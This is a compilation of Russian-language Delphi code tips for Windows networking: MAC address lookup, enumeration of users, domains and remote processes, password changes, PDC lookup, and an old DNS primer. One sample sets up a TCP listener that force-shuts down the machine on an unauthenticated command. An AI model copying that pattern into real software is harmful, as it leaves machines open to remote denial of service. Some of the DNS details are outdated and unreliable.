    // 65536 объявлено как UF_DONT_EXPIRE_PASSWORD в iads.h
    // в ADSI SDK от Microsoft
  else
    Usr.Put('UserFlags', Usr.Get('UserFlags') XOR 65536);
    Usr.SetInfo;

  except
    on E: EOleException do begin
      ShowMessage(E.Message);
    end;
  end;
end;

В завершении...

Чтобы использовать большие возможности ADSI , необходимо проверить, поддерживаются ли такие сервисы как IADsUser или IADsContainer.
Я рекомендую поработать с ADSI SDK от Microsoft и более детально изучить Библиотеку Типов.

Некоторые ADSI компоненты я постараюсь выложить на своей домашней страничке (http://www.jespersen.ch). Так что, если интересно, то заходите и мыльте на philip@jespersen.ch
Взято из http://forum.sources.ru


Библиотека для работы с LAN

unit NetProcs;

interface

uses Classes, Windows;

type
TAdapterStatus = record
                 adapter_address: array [0..5] of Char;
                 filler: array [1..4*SizeOf(Char)+19*SizeOf(Word)
                                +3*SizeOf(DWORD)] of Byte;
                 end;
THostInfo = record
            username: PWideChar;
            logon_domain: PWideChar;
            oth_domains: PWideChar;
            logon_server: PWideChar;
            end;{record}

  function IsNetConnect : Boolean;
  {Возвращает TRUE если компьютер подключен к сети, иначе - FALSE}

  function AdapterToString(Adapter: TAdapterStatus): string;
  {Преобразует MAC адес в привычный xx-xx-xx-xx}

  function GetMacAddresses(const Machine: string;
                           const Addresses: TStrings): Integer;
  {Заполняет Addresses MAC-адресами компьютера с сетевым именем  Machine.
   Возвращает число МАС адресов на компьютере}

  function GetNetUser(HostName: WideString): THostInfo;
  {Возвращает LOGIN текущего пользователя на HOSTNAME компьютере}

implementation

uses NB30, SysUtils;

function IsNetConnect : Boolean;
begin
  if GetSystemMetrics(SM_NETWORK) AND $01 = $01
  then Result:= True
  else Result:= False;
end;{function}

function AdapterToString(Adapter: TAdapterStatus): string;
begin
  with Adapter do    Result :=
Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x', [
      Integer(adapter_address[0]), Integer(adapter_address[1]),
      Integer(adapter_address[2]), Integer(adapter_address[3]),
      Integer(adapter_address[4]), Integer(adapter_address[5])]);
end;{function}

function GetMacAddresses(const Machine: string;
                         const Addresses: TStrings): Integer;
const  NCBNAMSZ    = 16;        // absolute length of a net name
       MAX_LANA    = 254;       // lana's in range 0 to MAX_LANA inclusive
       NRC_GOODRET = $00;       // good return
       NCBASTAT    = $33;       // NCB ADAPTER STATUS
       NCBRESET    = $32;       // NCB RESET
       NCBENUM     = $37;       // NCB ENUMERATE LANA NUMBERS
type
PNCB = ^TNCB;
TNCBPostProc = procedure (P: PNCB); stdcall;
TNCB = record
       ncb_command: Byte;
       ncb_retcode: Byte;
       ncb_lsn: Byte;
       ncb_num: Byte;
       ncb_buffer: PChar;
       ncb_length: Word;
       ncb_callname: array [0..NCBNAMSZ - 1] of Char;
       ncb_name: array [0..NCBNAMSZ - 1] of Char;
       ncb_rto: Byte;
       ncb_sto: Byte;
       ncb_post: TNCBPostProc;
       ncb_lana_num: Byte;
       ncb_cmd_cplt: Byte;
       ncb_reserve: array [0..9] of Char;
       ncb_event: THandle;
       end;
PLanaEnum = ^TLanaEnum;
TLanaEnum = record
            length: Byte;
            lana: array [0..MAX_LANA] of Byte;
            end;
ASTAT = record
        adapt: TAdapterStatus;
        namebuf: array [0..29] of TNameBuffer;
        end;
var
NCB: TNCB;
Enum: TLanaEnum;
I: Integer;
Adapter: ASTAT;
MachineName: string;
begin
  Result := -1;
  Addresses.Clear;
  MachineName := UpperCase(Machine);
  if MachineName = ''
  then    MachineName := '*';
  FillChar(NCB, SizeOf(NCB), #0);
  NCB.ncb_command := NCBENUM;
  NCB.ncb_buffer := Pointer(@Enum);
  NCB.ncb_length := SizeOf(Enum);
  if Word(NetBios(@NCB)) = NRC_GOODRET
  then  begin
        Result := Enum.Length;
        for I := 0 to Ord(Enum.Length) - 1
        do begin
             FillChar(NCB, SizeOf(TNCB), #0);
             NCB.ncb_command := NCBRESET;
             NCB.ncb_lana_num := Enum.lana[I];
             if Word(NetBios(@NCB)) = NRC_GOODRET
             then begin
                  FillChar(NCB, SizeOf(TNCB), #0);
                  NCB.ncb_command := NCBASTAT;
                  NCB.ncb_lana_num := Enum.lana[i];
                  StrLCopy(NCB.ncb_callname, PChar(MachineName),NCBNAMSZ);
                  StrPCopy(@NCB.ncb_callname[Length(MachineName)],
                  StringOfChar(' ', NCBNAMSZ - Length(MachineName)));
                  NCB.ncb_buffer := PChar(@Adapter);
                  NCB.ncb_length := SizeOf(Adapter);
                  if Word(NetBios(@NCB)) = NRC_GOODRET
                  then Addresses.Add(AdapterToString(Adapter.adapt));
                  end;
           end;
        end;
end;{function}

function
NetWkstaUserEnum(servername: PWideChar;
                     level : DWord;
                 var bufptr: Pointer;
                 prefmaxlen: DWord;
            var entriesread: PDWord;
           var totalentries: PDWord;
           var resumehandle: PDWord ): LongInt ;
                 stdcall; external 'netapi32.dll' name 'NetWkstaUserEnum';

function GetNetUser(HostName: WideString): THostInfo;
var
Info: Pointer;
ElTotal: PDWord;
ElCount: PDWord;
Resume: PDWord;
Error: LongInt;
begin
  Resume:=0;
           NetWkstaUserEnum(PWideChar(HostName),1, Info,0,
                            ElCount,ElTotal,Resume);
    Error:=NetWkstaUserEnum(PWideChar(HostName),1,Info,256*Integer(ElTotal),
                            ElCount,ElTotal,Resume);
    case    Error    of
    ERROR_ACCESS_DENIED: Result.UserName:= 'ERROR - ACCESS DENIED';
    ERROR_MORE_DATA: Result.UserName:= 'ERROR - MORE DATA';
    ERROR_INVALID_LEVEL: Result.UserName:= 'ERROR - INVALID LEVEL';
    else if Info <> nil
         then Result:=THostInfo(info^)
         else begin
              Result.username:= '???';
              Result.logon_domain:= '???';
              Result.oth_domains:= '???';
              Result.logon_server:= '???';
              end;{if}
    end;{case}
end; {function}

end.

Автор Alex

Взято с сайта http://www.delphikingdom.ru/


Как выключить удалённый компьютер?

{-----------------------------------------------------------------------------
 Unit Name:     formClient
 Author:        Stewart Moss

 Creation Date: 27 February, 2002 (16:30)
 Documentation Date: 27 February, 2002 (16:30)

 Version 1.0
 -----------------------------------------------------------------------------

 Description:

  This is to demonstrate shutting down a machine over the network.

  ** Tobias R. requests the article "How to send a shutdown command in a network?" **

  This is not really what you want. I think you are looking for some kind
  of IPC or RPC command. But this will work. Each machine needs to run
  a copy of this server.

  It uses the standard delphi ServerSocket found in the "ScktComp" unit.

  Create a form (name frmClient) with a TServerSocket on it (name ServerSocket)
  set the Port property of ServerSocket to 5555. Add a TMemo called Memo1.

  It listens on port 5555 using TCP/IP.

  It has a very simple protocol.
  Z = Show message with "Z"
  B = Beep
  S = Shutdown windows

  Run the program.. Then from the command prompt type in
  "telnet localhost 5555". Type in one of the three commands above
  (all in uppercase) and the server will respond.

 Copyright 2002 by Stewart Moss. All rights reserved.
-----------------------------------------------------------------------------}

unit formClient;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, StdCtrls;

type
  TfrmClient = class(TForm)
    ServerSocket: TServerSocket;
    Memo1: TMemo;
    procedure ServerSocketClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmClient: TfrmClient;

implementation

{$R *.DFM}

procedure TfrmClient.ServerSocketClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  Incomming: string;
begin
  // read off the socket
  Incomming := Socket.ReceiveText;

  memo1.Lines.Add(incomming);

  if Incomming = 'S' then // Shutdown Protocol
    ExitWindowsEx(EWX_FORCE or EWX_SHUTDOWN, 0);

  if Incomming = 'B' then // Beep Protocol
    Beep;

  if Incomming = 'Z' then // Z protocol
    showmessage('Z');
end;

procedure TfrmClient.FormCreate(Sender: TObject);
begin
  ServerSocket.Active := true;
end;

procedure TfrmClient.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  ServerSocket.Active := false;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как синхронизировать время на 2х компьютерах?

WinExec('net time \\nts2 /set /yes',SW_HIDE);

Взято с http://delphiworld.narod.ru


Сканирование доменов локальной сети

Переменная List заполняется списком доменов. Функция возвращает код ошибки обращения к сети.

Function FillNetLevel(xxx: PNetResource; list: TStrings) : Word;
Type
    PNRArr = ^TNRArr;
    TNRArr = array[0..59] of TNetResource;
Var
   x: PNRArr;
   tnr: TNetResource;
   I : integer;
   EntrReq,
   SizeReq,
   twx: Integer;
   WSName: string;
begin
     Result := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
                                RESOURCEUSAGE_CONTAINER, xxx, twx);
     If Result = ERROR_NO_NETWORK Then Exit;
     if Result = NO_ERROR then
     begin
            New(x);
            EntrReq := 1;
            SizeReq := SizeOf(TNetResource)*59;
            while (twx <> 0) and
                  (WNetEnumResource(twx, EntrReq, x, SizeReq) <> ERROR_NO_MORE_ITEMS) do
            begin
                  For i := 0 To EntrReq - 1 do
                  begin
                   Move(x^[i], tnr, SizeOf(tnr));
                   case tnr.dwDisplayType of
                    RESOURCEDISPLAYTYPE_DOMAIN:
                    begin
                       if tnr.lpRemoteName <> '' then
                           WSName:= tnr.lpRemoteName
                           else WSName:= tnr.lpComment;
                       list.Add(WSName);
                    end;
                    else FillNetLevel(@tnr, list);
                   end;
                  end;
            end;
            Dispose(x);
            WNetCloseEnum(twx);
     end;
end;

Источник: http://dmitry9.nm.ru/info/


Получить список процессов в компьютере сети

unit PerfInfo;

interface

uses
  Windows, SysUtils, Classes;

type
  TPerfCounter = record
    Counter: Integer;
    Value: TLargeInteger;
  end;

  TPerfCounters = Array of TPerfCounter;

  TPerfInstance = class
  private
    FName: string;
    FCounters: TPerfCounters;
  public
    property Name: string read FName;
    property Counters: TPerfCounters read FCounters;
  end;

  TPerfObject = class
  private
    FList: TList;
    FObjectID: DWORD;
    FMachine: string;
    function GetCount: Integer;
    function GetInstance(Index: Integer): TPerfInstance;
    procedure ReadInstances;
  public
    property ObjectID: DWORD read FObjectID;
    property Item[Index: Integer]: TPerfInstance
      read GetInstance; default;
    property Count: Integer read GetCount;
    constructor Create(const AMachine: string; AObjectID: DWORD);
    destructor Destroy; override;
  end;

procedure GetProcesses(const Machine: string; List: TStrings);

implementation

type
  PPerfDataBlock = ^TPerfDataBlock;
  TPerfDataBlock = record
    Signature: array[0..3] of WCHAR;
    LittleEndian: DWORD;
    Version: DWORD;
    Revision: DWORD;
    TotalByteLength: DWORD;
    HeaderLength: DWORD;
    NumObjectTypes: DWORD;
    DefaultObject: Longint;
    SystemTime: TSystemTime;
    PerfTime: TLargeInteger;
    PerfFreq: TLargeInteger;
    PerfTime100nSec: TLargeInteger;
    SystemNameLength: DWORD;
    SystemNameOffset: DWORD;
  end;

  PPerfObjectType = ^TPerfObjectType;
  TPerfObjectType = record
    TotalByteLength: DWORD;
    DefinitionLength: DWORD;
    HeaderLength: DWORD;
    ObjectNameTitleIndex: DWORD;
    ObjectNameTitle: LPWSTR;
    ObjectHelpTitleIndex: DWORD;
    ObjectHelpTitle: LPWSTR;
    DetailLevel: DWORD;
    NumCounters: DWORD;
    DefaultCounter: Longint;
    NumInstances: Longint;
    CodePage: DWORD;
    PerfTime: TLargeInteger;
    PerfFreq: TLargeInteger;
  end;

  PPerfCounterDefinition = ^TPerfCounterDefinition;
  TPerfCounterDefinition = record
    ByteLength: DWORD;
    CounterNameTitleIndex: DWORD;
    CounterNameTitle: LPWSTR;
    CounterHelpTitleIndex: DWORD;
    CounterHelpTitle: LPWSTR;
    DefaultScale: Longint;
    DetailLevel: DWORD;
    CounterType: DWORD;
    CounterSize: DWORD;
    CounterOffset: DWORD;
  end;

  PPerfInstanceDefinition = ^TPerfInstanceDefinition;
  TPerfInstanceDefinition = record
    ByteLength: DWORD;
    ParentObjectTitleIndex: DWORD;
    ParentObjectInstance: DWORD;
    UniqueID: Longint;
    NameOffset: DWORD;
    NameLength: DWORD;
  end;

  PPerfCounterBlock = ^TPerfCounterBlock;
  TPerfCounterBlock = record
    ByteLength: DWORD;
  end;

{Navigation helpers}

function FirstObject(PerfData: PPerfDataBlock): PPerfObjectType;
begin
  Result := PPerfObjectType(DWORD(PerfData) + PerfData.HeaderLength);
end;

function NextObject(PerfObj: PPerfObjectType): PPerfObjectType;
begin
  Result := PPerfObjectType(DWORD(PerfObj) + PerfObj.TotalByteLength);
end;

function FirstInstance(PerfObj: PPerfObjectType): PPerfInstanceDefinition;
begin
  Result := PPerfInstanceDefinition(DWORD(PerfObj) + PerfObj.DefinitionLength);
end;

function NextInstance(PerfInst: PPerfInstanceDefinition): PPerfInstanceDefinition;
var
  PerfCntrBlk: PPerfCounterBlock;
begin
  PerfCntrBlk := PPerfCounterBlock(DWORD(PerfInst) + PerfInst.ByteLength);
  Result := PPerfInstanceDefinition(DWORD(PerfCntrBlk) + PerfCntrBlk.ByteLength);
end;

function FirstCounter(PerfObj: PPerfObjectType): PPerfCounterDefinition;
begin
  Result := PPerfCounterDefinition(DWORD(PerfObj) + PerfObj.HeaderLength);
end;

function NextCounter(PerfCntr: PPerfCounterDefinition): PPerfCounterDefinition;
begin
  Result := PPerfCounterDefinition(DWORD(PerfCntr) + PerfCntr.ByteLength);
end;

{Registry helpers}

function GetPerformanceKey(const Machine: string): HKey;
var
  s: string;
begin
  Result := 0;
  if Length(Machine) = 0 then
    Result := HKEY_PERFORMANCE_DATA
  else
  begin
    s := Machine;
    if Pos('\\', s) <> 1 then
      s := '\\' + s;
    if RegConnectRegistry(PChar(s), HKEY_PERFORMANCE_DATA, Result) <> ERROR_SUCCESS then
      Result := 0;
  end;
end;

{TPerfObject}

constructor TPerfObject.Create(const AMachine: string; AObjectID: DWORD);
begin
  inherited Create;
  FList := TList.Create;
  FMachine := AMachine;
  FObjectID := AObjectID;
  ReadInstances;
end;

destructor TPerfObject.Destroy;
var
  i: Integer;
begin
  for i := 0 to FList.Count - 1 do
    TPerfInstance(FList[i]).Free;
  FList.Free;
  inherited Destroy;
end;

function TPerfObject.GetCount: Integer;
begin
  Result := FList.Count;
end;

function TPerfObject.GetInstance(Index: Integer): TPerfInstance;
begin
  Result := FList[Index];
end;

procedure TPerfObject.ReadInstances;
var
  PerfData: PPerfDataBlock;
  PerfObj: PPerfObjectType;
  PerfInst: PPerfInstanceDefinition;
  PerfCntr, CurCntr: PPerfCounterDefinition;
  PtrToCntr: PPerfCounterBlock;
  BufferSize: Integer;
  i, j, k: Integer;
  pData: PLargeInteger;
  Key: HKey;
  CurInstance: TPerfInstance;
begin
  for i := 0 to FList.Count - 1 do
    TPerfInstance(FList[i]).Free;
  FList.Clear;
  Key := GetPerformanceKey(FMachine);
  if Key = 0 then Exit;
  PerfData := nil;
  try
    {Allocate initial buffer for object information}
    BufferSize := 65536;
    GetMem(PerfData, BufferSize);
    {retrieve data}
    while RegQueryValueEx(Key,
      PChar(IntToStr(FObjectID)),  {Object name}
      nil, nil, Pointer(PerfData), @BufferSize) = ERROR_MORE_DATA do
    begin
      {buffer is too small}
      Inc(BufferSize, 1024);
      ReallocMem(PerfData, BufferSize);
    end;
    RegCloseKey(HKEY_PERFORMANCE_DATA);
    {Get the first object type}
    PerfObj := FirstObject(PerfData);
    {Process all objects}
    for i := 0 to PerfData.NumObjectTypes - 1 do
    begin
      {Check for requested object}
      if PerfObj.ObjectNameTitleIndex = FObjectID then
      begin
        {Get the first counter}
        PerfCntr := FirstCounter(PerfObj);
        if PerfObj.NumInstances > 0  then
        begin
          {Get the first instance}
          PerfInst := FirstInstance(PerfObj);
          {Retrieve all instances}
          for k := 0 to PerfObj.NumInstances - 1 do
          begin
            {Create entry for instance}
            CurInstance := TPerfInstance.Create;
            CurInstance.FName := WideCharToString(PWideChar(DWORD(PerfInst) +
                                                      PerfInst.NameOffset));
            FList.Add(CurInstance);
            CurCntr := PerfCntr;
            {Retrieve all counters}
            SetLength(CurInstance.FCounters, PerfObj.NumCounters);
            for j := 0 to PerfObj.NumCounters - 1 do
            begin
              PtrToCntr := PPerfCounterBlock(DWORD(PerfInst) + PerfInst.ByteLength);
              pData := Pointer(DWORD(PtrToCntr) + CurCntr.CounterOffset);
              {Add counter to array}
              CurInstance.FCounters[j].Counter := CurCntr.CounterNameTitleIndex;
              CurInstance.FCounters[j].Value := pData^;
              {Get the next counter}
              CurCntr := NextCounter(CurCntr);
            end;
            {Get the next instance.}
            PerfInst := NextInstance(PerfInst);
          end;
        end;
      end;
      {Get the next object type}
      PerfObj := NextObject(PerfObj);
    end;
  finally
    {Release buffer}
    FreeMem(PerfData);
    {Close remote registry handle}
    if Key <> HKEY_PERFORMANCE_DATA then
      RegCloseKey(Key);
  end;
end;

procedure GetProcesses(const Machine: string; List: TStrings);
var
  Processes: TPerfObject;
  i, j: Integer;
  ProcessID: DWORD;
begin
  Processes := nil;
  List.Clear;
  try
    Processes := TPerfObject.Create(Machine, 230);  {230 = Process}
    for i := 0 to Processes.Count - 1 do
      {Find process ID}
      for j := 0 to Length(Processes[i].Counters) - 1 do
        if (Processes[i].Counters[j].Counter = 784) then
        begin
          ProcessID := Processes[i].Counters[j].Value;
          if ProcessID <> 0 then
            List.AddObject(Processes[i].Name, Pointer(ProcessID));
          Break;
        end;
  finally
    Processes.Free;
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как изменить пароль для указанной сети или домена?

function NetUserChangePassword(Domain: PWideChar; UserName: PWideChar; OldPassword: PWideChar;
  NewPassword: PWideChar): Longint; stdcall; external 'netapi32.dll'
  Name 'NetUserChangePassword';

// Changes a user's password for a specified network server or domain.
// Requirements:  Windows NT/2000/XP
// Windows 95/98/Me: You can use the PwdChangePassword function to change a user's
// Windows logon password on these platforms

procedure TForm1.Button1Click(Sender: TObject);
begin
  NetUserChangePassword(PWideChar(WideString('\\COMPUTER')),
    PWideChar(WideString('username')),
    PWideChar(WideString('oldpass')),
    PWideChar(WideString('newpass')));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить primary domain controller (PDC)?

{
  The NetGetDCName function returns the name of the primary domain controller (PDC).
  It does not return the name of the backup domain controller (BDC) for the specified domain.
  Also, you cannot remote this function to a non-PDC server.
  Windows 2000/XP: Applications that support DNS-style names should call the  function.
  Domain controllers in this type of environment have a multi-master
  directory replication relationship.
  Therefore, it may be advantageous for your application to use a DC that is not the PDC.
  You can call the DsGetDcName function to locate any DC in the domain;
  NetGetDCName returns only the name of the PDC.
}

type
  EAccessDenied = Exception;
  EInvalidOwner = Exception;
  EInsufficientBuffer = Exception;
  ELibraryNotFound = Exception;

  NET_API_STATUS = Integer;

const
  NERR_Success = 0;

var
  NTNetGetDCName: function (Server, Domain: pWideChar; var DC: pWideChar): NET_API_STATUS; stdcall;
  NTNetGetDCNameA: function (Server, Domain: PChar; var DC: PChar): NET_API_STATUS; stdcall;
  NTNetApiBufferFree: function (lpBuffer: Pointer): NET_API_STATUS; stdcall;

procedure NetCheck(ErrCode: NET_API_STATUS);
begin
  if ErrCode <> NERR_Success then
  begin
    case ErrCode of
      ERROR_ACCESS_DENIED:
        raise EAccessDenied.Create('Access is Denied');
      ERROR_INVALID_OWNER:
        raise EInvalidOwner.Create('Cannot assign the owner of this object.');
      ERROR_INSUFFICIENT_BUFFER:
        raise EInsufficientBuffer.Create('Buffer passed was too small');
      else
        raise Exception.Create('Error Code: ' + IntToStr(ErrCode) + #13 +
          SysErrorMessage(ErrCode));
    end;
  end;
end;

function GetPDC(szSystem: string): string;
  { if szSystem = '' return the PDC else return DC for that domain }
const
  NTlib = 'NETAPI32.DLL';
  Win95lib = 'RADMIN32.DLL';
var
  pAnsiDomain: PChar;
  pDomain: PWideChar;
  System: array[1..80] of WideChar;
  ErrMode: Word;
  LibHandle: THandle;
begin
  Result := '';
  LibHandle := 0;
  try
    if Win32Platform = VER_PLATFORM_WIN32_NT then
    begin
      ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
      LibHandle := LoadLibrary(NTlib);
      SetErrorMode(ErrMode);
      if LibHandle = 0 then
        raise ELibraryNotFound.Create('Unable to map library: ' +
          NTlib); @NTNetGetDCName := GetProcAddress(Libhandle, 'NetGetDCName');
        @NTNetApiBufferFree       := GetProcAddress(Libhandle,
        'NetApiBufferFree');
      try
        if szSystem <> '' then
          NetCheck(NTNetGetDCName(nil, StringToWideChar(szSystem, @System, 80), pDomain))
        else
          NetCheck(NTNetGetDCName(nil, nil, pDomain));
        Result := WideCharToString(pDomain);
      finally
        NetCheck(NTNetApiBufferFree(pDomain));
      end;
    end
    else
    begin
      ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
      LibHandle := LoadLibrary(Win95lib);
      SetErrorMode(ErrMode);
      if LibHandle = 0 then
        raise ELibraryNotFound.Create('Unable to map library: ' +
          Win95lib); @NTNetGetDCNameA := GetProcAddress(Libhandle, 'NetGetDCNameA');
        @NTNetApiBufferFree := GetProcAddress(LibHandle, 'NetApiBufferFree');
      try
        if szSystem <> '' then
          NetCheck(NTNetGetDCNameA(nil, PChar(szSystem), pAnsiDomain))
        else
          NetCheck(NTNetGetDCNameA(nil, nil, pAnsiDomain));
        Result := StrPas(pAnsiDomain);
      finally
        NetCheck(NTNetApiBufferFree(pAnsiDomain));
      end;
    end;
  finally
    if LibHandle <> 0 then
    begin
      FreeLibrary(Libhandle); // free handle if it has been allocated
    end;
  end;
end;

// Example call, Beispielaufruf:

procedure TForm1.Button1Click(Sender: TObject);
begin
  try
    Screen.Cursor  := crHourGlass;
    label1.Caption := GetPDC('');
  finally
    Screen.Cursor := crDefault;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Описание протокола DNS

Описание протокола DNS (Domain Name System)
Previous Top Next

Служба Доменных Имен предназначена для того, чтобы машины, работающие в Internet, могли по доменному имени узнать IP-адрес нужной им машины, а также некоторую другую информацию; а по IP-номеру могли узнать доменное имя машины.

Служба Доменных Имен была разработана для именования машин в глобальной сети. Основной особенностью глобальной сети является распределенное администрирование, когда один администратор физически не может уследить за выделением имен. Поэтому Служба Доменных Имен функционирует на принципе делегирования полномочий. Каждая машина либо знает ответ на вопрос, либо знает кого спросить. При правильном функционировании система замкнута, т.е. если запрошенная информация имеется у кого-либо, то она будет найдена и сообщена клиенту, либо, если вопрос не имеет ответа, клиент получит сообщение о невозможности получения ответа на вопрос.

Каждый клиент знает своего сервера; обычно указывается не один, а несколько серверов - если первый не отвечает, клиент обращается ко второму и так далее до исчерпания списка. В принципе неважно, к какому серверу обращаться - они дают (должны давать при правильном функционировании) одинаковые ответы на любой запрос. Поэтому для ускорения работы обычно указывают ближайший. Следует помнить, что на одной машине могут функционировать одновременно Name-сервер и программы-клиенты; поэтому если на машине запущен Name-сервер, то в качестве Name-сервера на ней должен быть прописан "я сам".

Имеется некий домен верхнего уровня, обозначаемый точкой: ".". Имеется девять серверов (по крайней мере на моем Name-сервере записано столько), которые отвечают за эту зону. Они не знают ни одного доменного имени - они только авторизуют серверы верхних зон. Серверы верхних зон тоже гнушаются хранить информацию о конкретных машинах и передают это право нижележащим серверам. Тут уже появляются первые упоминания о конкретных машинах, равно как и происходит авторизация нижележащих серверов.

Мне неизвестна ни одна машина с доменным именем из одного сегмента; очень редко используются доменные имена из двух сегментов; имена из трех и четырех сегментов составляют подавляющую долю всех имен Internet; имена из пяти сегментов встречаются довольно редко, а из шести и более мне неизвестны.

Допустим, клиент запросил адрес "www.организация.город.страна". Поиск информации по доменному имени происходит следующим образом:

Клиент спрашивает своего сервера.
Если тот является сервером данной зоны, то ответит, на чем все заканчивается.
Сервер спрашивает корневой сервер.
Тот не может ответить, потому что не знает; зато знает, какой сервер отвечают за зону "страна".
Сервер зоны "страна" тоже не может ответить, но знает, что нужно спросить сервер зоны "город.страна".
Тот в свою очередь отсылает запрос серверу зоны "организация.город.страна", который сообщит нужную информацию.
Это приближенная модель, которая тем не менее позволяет представить работу системы DNS.

Однако эту стройную картину искажают системы кэширования и вторичных серверов. Дело в том, что получив ответ на свой вопрос, DNS-сервер получает также некоторое число, которое говорит ему о том, по истечении какого времени эта информация должна считаться устаревшей. Таким образом, все серверы, участвовавшие в поиске ответа на вопрос, заданный клиентом, могут (и скорее всего будут) помнить как ответ на заданный вопрос, так и путь, по которому шел поиск. При следующих запросах, имеющих общую правую часть с недавно сделанными запросами, поиск будет упрощен (ускорен).

Кроме того, большинство зон имеет вторичные серверы, которые содержат копии данных с первичных серверов. Сервер вышележащей зоны может направить запрос как первичному серверу, так и любому из вторичных, основываясь на своих соображениях о том, какой из них ближе.

Хочу обратить особое внимание на сходство, различие и взаимодействие систем DNS и IP-маршрутизации. Как и IP-маршрутизация, DNS работает по принципу делегирования полномочий, но выделение доменных имен совершенно не зависит от выделения IP-адресов. Для примера рассмотрим домен freebsd.org. Это - домен организации, занимающейся распространением операционной системы FreeBSD Unix. FTP-сервер, содержащий дистрибутив операционной системы и множества утилит для нее, имеет копии в нескольких десятках стран. Имена серверов выглядят так:

ftp.freebsd.org
первичный сервер в США
ftp.страна.freebsd.org
основной сервер в стране
ftpчисло.страна.freebsd.org
дополнительный сервер в стране
Так например на 11 февраля 1998 года

ftp.ru.freebsd.org соответствует ftp.ru
ftp2.ru.freebsd.org соответствует ftp.gamma.ru
ftp3.ru.freebsd.org соответствует ftp.chg.ru
Таким образом, машины, находящиеся в России оказались произвольно (по воле DNS-мастера из университета Bercley) включенными в домен freebsd.org; однако, они также состоят в своих зонах. Система DNS позволяет любому DNS-мастеру включить любой сервер в свою зону, хотя это включение никого ни к чему не обязывает.

Однако, некоторым сервисам этого недостаточно - так E-mail требует, чтобы машина, принимающая письмо, признала своим адрес, указанный в качестве пункта назначения. Протокол HTTP 1.1 (в 1.0 этого не было) требует, чтобы в HTTP-запросе указывался не путь к файлу, отсчитанный от корня сервера (хотя такие запросы тоже признаются), но и имя сервера; при этом сам сервер знает, какие имена - его, а остальные обрезает и обслуживает в соответствии с HTTP 1.0.

Делегирование зоны ...in-addr.arpa дается только от провайдера вместе с IP-адресами. Собственно, это связано с предназначением ReverceDNS - сообщать доменное имя по IP-адресу. Наверняка мастер зоны freebsd.org держит Reverce-зону для IP-номеров, выделенных университету Bercley; но все эти серверы (кроме сервера, расположенного в университете) не входят в эту Reverce-зону, а значит, ему неподконтрольны.

Одна из проблем состит в том, что Reverce-зону можно выделить только на сеть класса A, B или C (на 16777216, 65536 или 256 адресов) и никак иначе. Можно получить правА на несколько зон одного или разных классов, но что делать тем, кому выделили меньше 256 адресов? А ведь в условиях исчерпания адресного пространства не редкость выделения пула уже на 16 адресов!

DNS-услуги Internet-провайдера

Как правило, провайдер предоставляет клиенту целый комплекс услуг. В число оказываемых DNS-услуг входят:

делегирование зоны ...in-addr.arpa клиентам, имеющим пул адресов, кратный 256.
регистрация доменного имени клиента у держателя той зоны, в которой клиент хочет зарегистрироваться;
поддержание вторичного сервера прямой и обратной DNS-зон клиента;
поддержание первичного сервера этих зон, если клиент по какой-либо причине не поддерживает их сам (особенно это относится к случаю виртуальных зон и к случаю выделения малого пула адресов);
Если провайдер будет отказываться - сошлитесь на меня. :-)

Политика и стратегия назначения имен

Имена зон условно можно разделить на "организационные" и "географические". В высшей зоне зарегестрированы следующие "организационные" зоны:

com commercial (коммерческие)
edu educational (образовательные)
gov goverment (правительственные)
mil military (военные)
net network (организации, обеспечивающие работу сети)
org organization (некоммерческие организации)

В данный момент, чтобы разгрузить домен com, собираются создать несколько новых доменов, но у меня нет достоверной информации по ним. В организационных зонах обычно размещаются непосредственно домены организаций.

Каждая страна (государство) имеет свой географический домен из двух букв:

ae United Arab Emirates (Объединенные Арабские Эмираты)
au Australia (Австралия)
be Belgium (Бельгия)
br Brazil (Бразилия)
by Belarus (Белоруссия)
ca Canada (Канада)
ch Switzerland (Швейцария)
cz Czech Republic (Чехия)
de Germany (Германия)
dk Denmark
do Dominican Republic (Доминиканская республика)
ee Estonia (Эстония)
eo ???
es Spain (Испания)
fi Finland (Финляндия)
fr France (Франция)
hu Hungary (Венгрия)
il Israel (Израиль)
in India (Индия)
iz ???
jp Japan (Япония)
kg Kyrgyzstan (Кыргызстан)
kr South Korea (Южная Корея)
kz Kazakhstan (Казахстан)
lt Lithuania (Литва)
lv Latvia (Латвия)
mx Mexico (Мексика)
nl Netherlands (Нидерланды)
no Norway (Норвегия)
nz New Zealand (Новая Зеландия)
pl Poland (Польша)
ro Romania (Румыния)
ru Russia (Россия)
si Slovenia (Словения)
sk Slovak Republic (Словакия)
su Soviet Union (Советский Союз - поддерживается, но не распределяется)
ua Ukraine (Украина)
uk United Kingdom (Соединенное Королевство ВеликоБритания / Англия)
yu Yugoslavia (Югославия)
za South Africa (Южная Африка)
Я перечислил отнюдь не все страны - кто хочет, может прислать мне другие названия.

В зонах государств опять же имеются "организационные" и "географические" зоны. "Организационные" в большинстве своем повторяют структуру "организационных" зон верхнего уровня, разве что вместо "com" используется "co". "Географические" выделяются городам, областям и т.п. территориальным образованиям. Непосредственно в тех и других размещаются домены организаций или домены персональных пользователей.

После выбора зоны, в которую будет включен наш домен надо выбрать собственное имя домена. Обычно это имя компании, торговая марка или что-нибудь столь же характерное. Для неанглоязычных стран используется транскрипция имен. Часто возникают конфликты, связанные с тем, что одно и то же имя используется несколькими фирмами (законодательство допускает это для фирм, работающих в разных отраслях); многие люди заранее резервируют имена, могущие стать популярными для последующей продажи их владельцу торговой марки; но это уже касается юридической стороны функционирования Internet и не входит в мою компетенцию.

